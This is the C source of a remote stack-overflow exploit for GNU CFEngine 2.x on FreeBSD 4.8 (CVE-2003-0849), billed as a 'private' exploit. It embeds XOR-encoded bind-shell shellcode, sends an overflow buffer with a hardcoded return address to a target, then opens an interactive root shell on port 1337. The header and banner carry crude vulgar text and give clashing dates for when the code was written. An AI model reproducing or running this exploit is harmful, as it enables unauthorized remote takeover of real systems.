/*
    8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o 8==o
    "    CVE-2003-0849 - private rce exploit  for x86 freebsd 4.8"
    "    GNU CFEngine 2.x remote stack overflow exploit      "
    "    private exploit ! don't share !!!                   "
    "    The original private exploit code was written in    "
    "    2003 and was patched in 2026.                       "      
    "    code by : Antonius (w1sdom) - bluedragonsec.com     "
    "    https://github.com/bluedragonsecurity               "
    "    (c) solhack (solhack.ath.cx)- 2002-forever          "
    8==o 8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

/*
107 bytes private xor bind shell 1337 shellcode for x86 freebsd
this shellcode is used in many of our private exploits
(c) solhack - sons of liberty
*/
unsigned char h4x0r[] = 
"\xeb\x11\x5e\x31\xc9\xb1\x53\x80\x36\x03\x46\xe2\xfa\x83\xee"
"\x53\xff\xe6\x90\xe8\xea\xff\xff\xff\x32\xc3\x9a\x53\x43\x53"
"\x43\x53\x53\xb3\x62\xce\x83\x8a\xc5\x51\x6b\x02\x01\x06\x3a"
"\x8a\xe2\x69\x13\x52\x55\x51\xb3\x6b\xce\x83\x51\x55\x51\xb3"
"\x69\xce\x83\x51\x51\x55\x51\xb3\x1d\xce\x83\x8a\xc4\x69\x01"
"\x5a\x52\x54\x51\xb3\x59\xce\x83\x4a\x7a\xf5\x51\x6b\x2c\x2c"
"\x70\x6b\x6b\x2c\x61\x6a\x6d\x8a\xe0\x51\x51\x50\x51\xb3\x38"
"\xce\x83";

void banner() {
   printf(
    "\n8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o 8==o\n"
    "    CVE-2003-0849 - private rce exploit - for x86 freebsd 4.8        \n"
    "    GNU CFEngine 2.x remote stack overflow exploit     \n"
    "    private exploit ! don't share !!!                  \n"
    "    The original private exploit code was written in   \n"
    "    February 2004 and was patched in 2026.             \n"      
    "    code by : Antonius (w1sdom) - bluedragonsec.com    \n"
    "    https://github.com/bluedragonsecurity              \n"
    "    (c) solhack (solhack.ath.cx)- 2002-forever         \n"
    "  8==o 8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o\n\n");
}

void usage() {
printf(
    "\n\trun : ./exploit <ip address> <port>              \n"
    "\te.g :                                              \n"
    "\t./exploit 192.168.0.1 5308                         \n"
    "\t./exploit 127.0.0.1 5308                           \n"
    "\t 8==o 8==o 8==o 8==o 8==o 8==o 8==o 8==o 8==o 8==o \n\n"); 
}

void shell(char *ip, int port) {
    int n, s;
    struct sockaddr_in sa;
    char buf[4096];
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    inet_aton(ip, &sa.sin_addr);
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] exploit failed !");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    write(1, "# ", 2);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(0, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(s, &fds)) {
            n = read(s, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(1, buf, n);
            write(1, "# ", 2);
        }
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(s, buf, n);
        }
    }
    close(s);
}

int main(int argc, char **argv) {
    int s, port = 5308, total = 4586;
    char buf[total + 1];
    char *ptr;
    struct sockaddr_in sa;
    struct hostent *h;
    unsigned int eip = 0x41414141;
    
    banner();
    if (argc < 2) {
        usage();
        return 1;
    }
    port = atoi(argv[2]);
    h = gethostbyname(argv[1]);
    if (!h) { 
        printf("[-] resolve failed\n"); 
        return 1; 
    }
    s = socket(AF_INET, SOCK_STREAM, 0);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = *(struct in_addr *)h->h_addr_list[0];
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        printf("[-] connect failed\n"); 
        return 1;
    }
    printf("[+] connected to %s:%d\n", argv[1], port);
    ptr = buf;
    memcpy(ptr, "t   4586", 8);
    ptr += 8;
    memset(ptr, '\x90', 4578);
    eip = 0x281F125D;
    memcpy(ptr + 4100, &eip, 4);       
    memcpy(ptr + 4104, h4x0r, 107);
    *ptr = '\0';
    send(s, buf, total, 0);
    close(s);
    printf("[+] sent ... please wait...\n");
    sleep(2);
    shell(argv[1], 1337);

    return 0;
}
